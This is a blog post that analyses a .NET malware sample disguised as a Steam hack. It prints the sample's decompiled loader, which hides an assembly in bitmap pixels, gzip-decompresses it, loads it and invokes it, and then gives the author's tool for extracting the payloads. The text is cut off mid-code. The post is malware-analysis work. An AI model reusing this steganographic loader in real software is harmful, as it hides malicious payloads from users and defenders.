{"id":544,"date":"2013-10-07T09:51:36","date_gmt":"2013-10-07T09:51:36","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=544"},"modified":"2013-10-07T09:51:36","modified_gmt":"2013-10-07T09:51:36","slug":"stego-malware-and-dotnet","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2013\/10\/stego-malware-and-dotnet\/","title":{"rendered":"Stego Malware And DotNet"},"content":{"rendered":"<p>Greetings and salutations.<\/p>\n<p>Today I&#8217;m going to be going over some malware I found in the wild. I found it after doing a search for &#8216;hack&#8217; on the &#8216;rapidshare&#8217; section of 4chan. With the name &#8216;SteamHackCount.exe&#8217;, being about 350 kb, and having the Apple icon? Totally legit right???<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/seemslegit.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/seemslegit-300x187.png\" alt=\"seemslegit\" width=\"300\" height=\"187\" class=\"alignnone size-medium wp-image-546\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/seemslegit-300x187.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/seemslegit-1024x639.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/seemslegit.png 1313w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nOpening the program in IDA showed the program was a .net binary.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ida001.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ida001.png\" alt=\"ida001\" width=\"529\" height=\"650\" class=\"alignnone size-full wp-image-547\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ida001.png 529w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ida001-244x300.png 244w\" sizes=\"(max-width: 529px) 100vw, 529px\" \/><\/a><br \/>\nWhile I love IDA to death, I don&#8217;t care for its MSIL decompilation. There are several better .NET decompilers out there to choose from such as ILspy, GreyWolf, DotPeek, Redgate Reflector, and DILE. In this particular case, I am going to load the thing into ILspy.<\/p>\n<p>Peering inside, the binary appears to be obfuscated &#8211; common for .net malware.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy2-300x178.png\" alt=\"ilspy2\" width=\"300\" height=\"178\" class=\"alignnone size-medium wp-image-550\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy2-300x178.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy2-1024x610.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/10\/ilspy2.png 1680w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nThe entire app doesn&#8217;t seem all that complicated. It&#8217;s a windows app that starts hidden &#8211; typical. On window start, the function &#8216;rHOQZwrVXEKdlaGCCBGqxFV()&#8217; is called. Let&#8217;s look closer at the function &#8216;rHOQZwrVXEKdlaGCCBGqxFV&#8217;<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">rHOQZwrVXEKdlaGCCBGqxFV<\/span>()\r\n{\r\n\tResourceManager resourceManager = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;NRwifYtqHh&quot;<\/span>, Assembly.GetExecutingAssembly());\r\n\tBitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject(<span style=\"background-color: #fff0f0\">&quot;V3Mi6UNB&quot;<\/span>);\r\n\tResourceManager resourceManager2 = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;BIDRVmCEPb&quot;<\/span>, Assembly.GetExecutingAssembly());\r\n\tBitmap nvTDNTPbrHOQZwrVXEKdlaGCC2 = (Bitmap)resourceManager2.GetObject(<span style=\"background-color: #fff0f0\">&quot;mwxv1jbj&quot;<\/span>);\r\n\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = <span style=\"color: #008800; font-weight: bold\">this<\/span>.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC);\r\n\t<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] rawAssembly = <span style=\"color: #008800; font-weight: bold\">this<\/span>.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC2);\r\n\tAssembly assembly = Assembly.Load(rawAssembly);\r\n\t<span style=\"color: #333399; font-weight: bold\">object<\/span> objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(<span style=\"color: #008800; font-weight: bold\">this<\/span>.KdlaGCCBGqxFVvuLBEvUxcaIw(<span style=\"background-color: #fff0f0\">&quot;47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|&quot;<\/span>)));\r\n\tobjectValue.GetType().InvokeMember(<span style=\"color: #008800; font-weight: bold\">this<\/span>.KdlaGCCBGqxFVvuLBEvUxcaIw(<span style=\"background-color: #fff0f0\">&quot;75|157|192|185|148|191|&quot;<\/span>), BindingFlags.InvokeMethod, <span style=\"color: #008800; font-weight: bold\">null<\/span>, RuntimeHelpers.GetObjectValue(objectValue), <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">object<\/span>[]\r\n\t{\r\n\t\tarray,\r\n\t\t<span style=\"color: #008800; font-weight: bold\">false<\/span>,\r\n\t\t<span style=\"background-color: #fff0f0\">&quot;Nothing&quot;<\/span>,\r\n\t\t<span style=\"background-color: #fff0f0\">&quot;Nothing&quot;<\/span>\r\n\t});\r\n}\r\n<\/pre>\n<\/div>\n<p>This function appears to be invoking the ResourceManager object which effectively loads a resource file compiled within the binary. Resources are usually cursors, bitmaps, icons and the like. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">ResourceManager resourceManager = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;NRwifYtqHh&quot;<\/span>, Assembly.GetExecutingAssembly());\r\n\t\tBitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject(<span style=\"background-color: #fff0f0\">&quot;V3Mi6UNB&quot;<\/span>);\r\n<\/pre>\n<\/div>\n<p>In this case, the function is loading from the local resource (shown on the top left in ILspy) a bitmap file for use. Further down, we see that the function is passing these same bitmap images to another function &#8216;OqvJGoCbbDMYzUyXpPpBu&#8217;.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">OqvJGoCbbDMYzUyXpPpBu<\/span>(Bitmap NvTDNTPbrHOQZwrVXEKdlaGCC)\r\n{\r\n\tList&lt;<span style=\"color: #333399; font-weight: bold\">byte<\/span>&gt; list = <span style=\"color: #008800; font-weight: bold\">new<\/span> List&lt;<span style=\"color: #333399; font-weight: bold\">byte<\/span>&gt;();\r\n\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_11_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t<span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n\t{\r\n\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = NvTDNTPbrHOQZwrVXEKdlaGCC.Width - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_11_0; i &lt;= num; i++)\r\n\t\t{\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_1F_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num2 = NvTDNTPbrHOQZwrVXEKdlaGCC.Height - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> j = arg_1F_0; j &lt;= num2; j++)\r\n\t\t\t{\r\n\t\t\t\tColor pixel = NvTDNTPbrHOQZwrVXEKdlaGCC.GetPixel(i, j);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (pixel != Color.FromArgb(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>))\r\n\t\t\t\t{\r\n\t\t\t\t\tlist.Add(pixel.R);\r\n\t\t\t\t\tlist.Add(pixel.G);\r\n\t\t\t\t\tlist.Add(pixel.B);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span>.FTBSEIiWUOfdzVtzvILZv(list.ToArray());\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>Inside this convoluted mess we see the bitmap file is being iterated through, and converted to a byte array. The function returns its result to another function &#8216;FTBSEIiWUOfdzVtzvILZv&#8217;.<\/p>\n<p>This function further processes the byte array of the former bitmap image by performing some gzip decompression.  <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">FTBSEIiWUOfdzVtzvILZv<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] wGQLoEWqKEtZijhmXQXCPOehkcCQ)\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">using<\/span> (MemoryStream memoryStream = <span style=\"color: #008800; font-weight: bold\">new<\/span> MemoryStream(wGQLoEWqKEtZijhmXQXCPOehkcCQ))\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">using<\/span> (GZipStream gZipStream = <span style=\"color: #008800; font-weight: bold\">new<\/span> GZipStream(memoryStream, CompressionMode.Decompress))\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num2;\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">do<\/span>\r\n\t\t\t\t{\r\n\t\t\t\t\twGQLoEWqKEtZijhmXQXCPOehkcCQ = (<span style=\"color: #333399; font-weight: bold\">byte<\/span>[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[num + <span style=\"color: #6600EE; font-weight: bold\">1024<\/span> - <span style=\"color: #6600EE; font-weight: bold\">1<\/span> + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>]);\r\n\t\t\t\t\tnum2 = gZipStream.Read(wGQLoEWqKEtZijhmXQXCPOehkcCQ, num, <span style=\"color: #6600EE; font-weight: bold\">1024<\/span>);\r\n\t\t\t\t\tnum += num2;\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">while<\/span> (num2 &gt;= <span style=\"color: #6600EE; font-weight: bold\">1024<\/span>);\r\n\t\t\t\twGQLoEWqKEtZijhmXQXCPOehkcCQ = (<span style=\"color: #333399; font-weight: bold\">byte<\/span>[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[num - <span style=\"color: #6600EE; font-weight: bold\">1<\/span> + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>]);\r\n\t\t\t\tgZipStream.Close();\r\n\t\t\t}\r\n\t\t\tmemoryStream.Close();\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> wGQLoEWqKEtZijhmXQXCPOehkcCQ;\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>After decompressing the byte array, the program then loads the file as an assembly with  &#8216;Assembly assembly = Assembly.Load(rawAssembly);&#8217;.<br \/>\nThe last few lines of code are responsible for initializing the methods of choice within the loaded assembly. Think of an assembly as just another word for program.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #333399; font-weight: bold\">object<\/span> objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(<span style=\"color: #008800; font-weight: bold\">this<\/span>.KdlaGCCBGqxFVvuLBEvUxcaIw(<span style=\"background-color: #fff0f0\">&quot;47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|&quot;<\/span>)));\r\n\tobjectValue.GetType().InvokeMember(<span style=\"color: #008800; font-weight: bold\">this<\/span>.KdlaGCCBGqxFVvuLBEvUxcaIw(<span style=\"background-color: #fff0f0\">&quot;75|157|192|185|148|191|&quot;<\/span>), BindingFlags.InvokeMethod, <span style=\"color: #008800; font-weight: bold\">null<\/span>, RuntimeHelpers.GetObjectValue(objectValue), <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">object<\/span>[]\r\n\t{\r\n\t\tarray,\r\n\t\t<span style=\"color: #008800; font-weight: bold\">false<\/span>,\r\n\t\t<span style=\"background-color: #fff0f0\">&quot;Nothing&quot;<\/span>,\r\n\t\t<span style=\"background-color: #fff0f0\">&quot;Nothing&quot;<\/span>\r\n\t});\r\n<\/pre>\n<\/div>\n<p>This brings us to our last obfuscated function &#8211; &#8216;KdlaGCCBGqxFVvuLBEvUxcaIw&#8217;. Let&#8217;s have a look see:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">KdlaGCCBGqxFVvuLBEvUxcaIw<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> RIxMWFFrsTcoRkPnGSGDw)\r\n{\r\n\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t<span style=\"color: #333399; font-weight: bold\">string<\/span>[] array = RIxMWFFrsTcoRkPnGSGDw.Split(<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">char<\/span>[]\r\n\t{\r\n\t\t<span style=\"color: #0044DD\">&#39;|&#39;<\/span>\r\n\t});\r\n\t<span style=\"color: #333399; font-weight: bold\">string<\/span>[] array2 = array;\r\n\t<span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; i &lt; array2.Length; i++)\r\n\t\t{\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #008800; font-weight: bold\">value<\/span> = array2[i];\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t{\r\n\t\t\t\ttext += Conversions.ToString(Strings.Chr((<span style=\"color: #333399; font-weight: bold\">int<\/span>)Math.Round(<span style=\"color: #008800; font-weight: bold\">unchecked<\/span>(Conversions.ToDouble(<span style=\"color: #008800; font-weight: bold\">value<\/span>) - Conversions.ToDouble(array[<span style=\"color: #6600EE; font-weight: bold\">0<\/span>])))));\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception arg_4F_0)\r\n\t\t\t{\r\n\t\t\t\tProjectData.SetProjectError(arg_4F_0);\r\n\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> text.Remove(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>The function takes a pipe delimited string of numbers and returns a string. If you&#8217;re curious what the 2 pipe delimited strings say from this.KdlaGCCBGqxFVvuLBEvUxcaIw(&#8220;47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|&#8221;) and this.KdlaGCCBGqxFVvuLBEvUxcaIw(&#8220;75|157|192|185|148|191|&#8221;), they decode to &#8216;RunIt&#8217;, and &#8216;Loader.PublicClass&#8217;.<br \/>\nLastly the function takes invokes the member of the decoded method.<\/p>\n<p>That&#8217;s a lot to take in and I hope you&#8217;re still with me. What we&#8217;re going to do now is write a little decryption application using the code from ILspy. I saved the 2 resource files directly and drahg \/ drop imported them into visual studio. I have changed the function names slightly for easier readability:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Collections.Generic<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Linq<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Resources<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Microsoft.VisualBasic.CompilerServices<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Drawing<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.IO<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.IO.Compression<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Reflection<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Runtime.CompilerServices<\/span>;\r\n\r\n\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Decrypt_me<\/span>\r\n{\r\n    <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">Program<\/span>\r\n    {\r\n        <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Main<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span>[] args)\r\n        {\r\n            Decrypt_me.Program p = <span style=\"color: #008800; font-weight: bold\">new<\/span> Program();\r\n            p.maininit();\r\n            Console.ReadKey();\r\n        }\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">decr<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> whatever)\r\n        {\r\n            <span style=\"color: #333399; font-weight: bold\">string<\/span> text = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n            <span style=\"color: #333399; font-weight: bold\">string<\/span>[] array = whatever.Split(<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">char<\/span>[]\r\n\t{\r\n\t\t<span style=\"color: #0044DD\">&#39;|&#39;<\/span>\r\n\t});\r\n            <span style=\"color: #333399; font-weight: bold\">string<\/span>[] array2 = array;\r\n            <span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n            {\r\n                <span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; i &lt; array2.Length; i++)\r\n                {\r\n                    <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #008800; font-weight: bold\">value<\/span> = array2[i];\r\n                    <span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n                    {\r\n                        text += Conversions.ToString(Microsoft.VisualBasic.Strings.Chr((<span style=\"color: #333399; font-weight: bold\">int<\/span>)Math.Round(<span style=\"color: #008800; font-weight: bold\">unchecked<\/span>(Conversions.ToDouble(<span style=\"color: #008800; font-weight: bold\">value<\/span>) - Conversions.ToDouble(array[<span style=\"color: #6600EE; font-weight: bold\">0<\/span>])))));\r\n                    }\r\n                    <span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception arg_4F_0)\r\n                    {\r\n                        ProjectData.SetProjectError(arg_4F_0);\r\n                        ProjectData.ClearProjectError();\r\n                    }\r\n                }\r\n                <span style=\"color: #008800; font-weight: bold\">return<\/span> text.Remove(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n            }\r\n        }\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">haha<\/span>(Bitmap timetodie)\r\n        {\r\n            List&lt;<span style=\"color: #333399; font-weight: bold\">byte<\/span>&gt; list = <span style=\"color: #008800; font-weight: bold\">new<\/span> List&lt;<span style=\"color: #333399; font-weight: bold\">byte<\/span>&gt;();\r\n            <span style=\"color: #333399; font-weight: bold\">int<\/span> arg_11_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n            <span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n            {\r\n                <span style=\"color: #333399; font-weight: bold\">int<\/span> num = timetodie.Width - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n                <span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = arg_11_0; i &lt;= num; i++)\r\n                {\r\n                    <span style=\"color: #333399; font-weight: bold\">int<\/span> arg_1F_0 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n                    <span style=\"color: #333399; font-weight: bold\">int<\/span> num2 = timetodie.Height - <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n                    <span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> j = arg_1F_0; j &lt;= num2; j++)\r\n                    {\r\n                        Color pixel = timetodie.GetPixel(i, j);\r\n                        <span style=\"color: #008800; font-weight: bold\">if<\/span> (pixel != Color.FromArgb(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>))\r\n                        {\r\n                            list.Add(pixel.R);\r\n                            list.Add(pixel.G);\r\n                            list.Add(pixel.B);\r\n                        }\r\n                    }\r\n                }\r\n                <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #0066BB; font-weight: bold\">decr1<\/span>(list.ToArray());\r\n            }\r\n        }\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] <span style=\"color: #0066BB; font-weight: bold\">decr1<\/span>(<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] maybe)\r\n        {\r\n            <span style=\"color: #008800; font-weight: bold\">checked<\/span>\r\n            {\r\n                <span style=\"color: #008800; font-weight: bold\">using<\/span> (MemoryStream memoryStream = <span style=\"color: #008800; font-weight: bold\">new<\/span> MemoryStream(maybe))\r\n                {\r\n                    <span style=\"color: #008800; font-weight: bold\">using<\/span> (GZipStream gZipStream = <span style=\"color: #008800; font-weight: bold\">new<\/span> GZipStream(memoryStream, CompressionMode.Decompress))\r\n                    {\r\n                        <span style=\"color: #333399; font-weight: bold\">int<\/span> num = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n                        <span style=\"color: #333399; font-weight: bold\">int<\/span> num2;\r\n                        <span style=\"color: #008800; font-weight: bold\">do<\/span>\r\n                        {\r\n                            maybe = (<span style=\"color: #333399; font-weight: bold\">byte<\/span>[])Utils.CopyArray((Array)maybe, <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[num + <span style=\"color: #6600EE; font-weight: bold\">1024<\/span> - <span style=\"color: #6600EE; font-weight: bold\">1<\/span> + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>]);\r\n                            num2 = gZipStream.Read(maybe, num, <span style=\"color: #6600EE; font-weight: bold\">1024<\/span>);\r\n                            num += num2;\r\n                        }\r\n                        <span style=\"color: #008800; font-weight: bold\">while<\/span> (num2 &gt;= <span style=\"color: #6600EE; font-weight: bold\">1024<\/span>);\r\n                        maybe = (<span style=\"color: #333399; font-weight: bold\">byte<\/span>[])Utils.CopyArray((Array)maybe, <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[num - <span style=\"color: #6600EE; font-weight: bold\">1<\/span> + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>]);\r\n                        gZipStream.Close();\r\n                    }\r\n                    memoryStream.Close();\r\n                }\r\n                <span style=\"color: #008800; font-weight: bold\">return<\/span> maybe;\r\n            }\r\n        }\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">maininit<\/span>()\r\n        {\r\n            ResourceManager resourceManager = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;Decrypt_me.NRwifYtqHh&quot;<\/span>, Assembly.GetExecutingAssembly());\r\n            Bitmap timetodie = (Bitmap)resourceManager.GetObject(<span style=\"background-color: #fff0f0\">&quot;V3Mi6UNB&quot;<\/span>);\r\n            ResourceManager resourceManager2 = <span style=\"color: #008800; font-weight: bold\">new<\/span> ResourceManager(<span style=\"background-color: #fff0f0\">&quot;Decrypt_me.BIDRVmCEPb&quot;<\/span>, Assembly.GetExecutingAssembly());\r\n            Bitmap timetodie2 = (Bitmap)resourceManager2.GetObject(<span style=\"background-color: #fff0f0\">&quot;mwxv1jbj&quot;<\/span>);\r\n            <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] array = haha(timetodie);\r\n            <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] rawAssembly = haha(timetodie2);\r\n            Assembly assembly = Assembly.Load(rawAssembly);\r\n            \r\n           <span style=\"color: #888888\">\/\/ object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(decr(&quot;47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|&quot;)));<\/span>\r\n           \r\n            Console.WriteLine(<span style=\"background-color: #fff0f0\">&quot;First member name: &quot;<\/span> + decr(<span style=\"background-color: #fff0f0\">&quot;75|157|192|185|148|191|&quot;<\/span>));\r\n            Console.WriteLine(<span style=\"background-color: #fff0f0\">&quot;Second member name: &quot;<\/span> + decr(<span style=\"background-color: #fff0f0\">&quot;47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|&quot;<\/span>));\r\n            File.WriteAllBytes(<span style=\"background-color: #fff0f0\">&quot;assemblylisting1.exe&quot;<\/span>, array);\r\n            File.WriteAllBytes(<span style=\"background-color: 